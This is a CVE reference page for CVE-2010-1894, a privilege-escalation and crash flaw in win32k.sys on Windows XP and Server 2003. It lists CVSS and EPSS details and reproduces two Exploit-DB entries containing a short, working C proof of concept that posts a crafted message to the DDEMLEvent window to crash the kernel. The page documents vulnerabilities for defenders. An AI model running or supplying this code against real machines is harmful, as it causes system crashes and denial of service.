CVE-2010-1894 : Detail

CVE-2010-1894

A01-Broken Access Control
1.04%V4
Local
2010-08-11
16h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
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CVE Descriptions

The Windows kernel-mode drivers in win32k.sys in Microsoft Windows XP SP2 and SP3, and Windows Server 2003 SP2, do not properly handle unspecified exceptions, which allows local users to gain privileges via a crafted application, aka "Win32k Exception Handling Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 14611

Publication date : 2010-08-09 22h00 +00:00
Author : MJ0011
EDB Verified : No

/* source: https://www.securityfocus.com/bid/39630/info Microsoft Windows is prone to a local privilege-escalation vulnerability. A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition. Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue. */ # Include "stdafx.h" # Include "windows.h" int main (int argc, char * argv []) ( printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter"); getchar(); HWND hwnd = FindWindow ("DDEMLEvent", NULL); if (hwnd == 0) ( printf ("cannot find DDEMLEvent Window! \ n"); return 0; ) PostMessage (hwnd, 0x4c, 0x4, 0x80000000); return 0; )
Exploit Database EDB-ID : 12336

Publication date : 2010-04-21 22h00 +00:00
Author : MJ0011
EDB Verified : No

/* Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability Effect : Microsoft Windows 2000/XP/2003 full patch Author:MJ0011 Published: 2010-04-22 Vulnerability Details: Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12 When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to BSOD Pseudo-code: if (wParam == 4 | | wParam == 13 | | wParam == 12) ( v18 = * (_DWORD *) lParam; v19 = * (_DWORD *) (lParam 4); v20 = * (_DWORD *) (lParam 8); v21 = * (_DWORD *) (lParam 12); */ //Exploit code: # Include "stdafx.h" # Include "windows.h" int main (int argc, char * argv []) ( printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter"); getchar(); HWND hwnd = FindWindow ("DDEMLEvent", NULL); if (hwnd == 0) ( printf ("cannot find DDEMLEvent Window! \ n"); return 0; ) PostMessage (hwnd, 0x4c, 0x4, 0x80000000); return 0; ) Common crash stack: kd> kc win32k! SfnLOGONNOTIFY win32k! xxxDefWindowProc win32k! xxxEventWndProc win32k! xxxDispatchMessage win32k! NtUserDispatchMessage /* .... Windows 7/Vista no such problem Thanks: Thanks to my colleagues LYL to help me discovered this vulnerability th_decoder 2010-04-22 */

Products Mentioned

Configuraton 0

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

References

http://www.us-cert.gov/cas/techalerts/TA10-222A.html
Tags : third-party-advisory, x_refsource_CERT
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.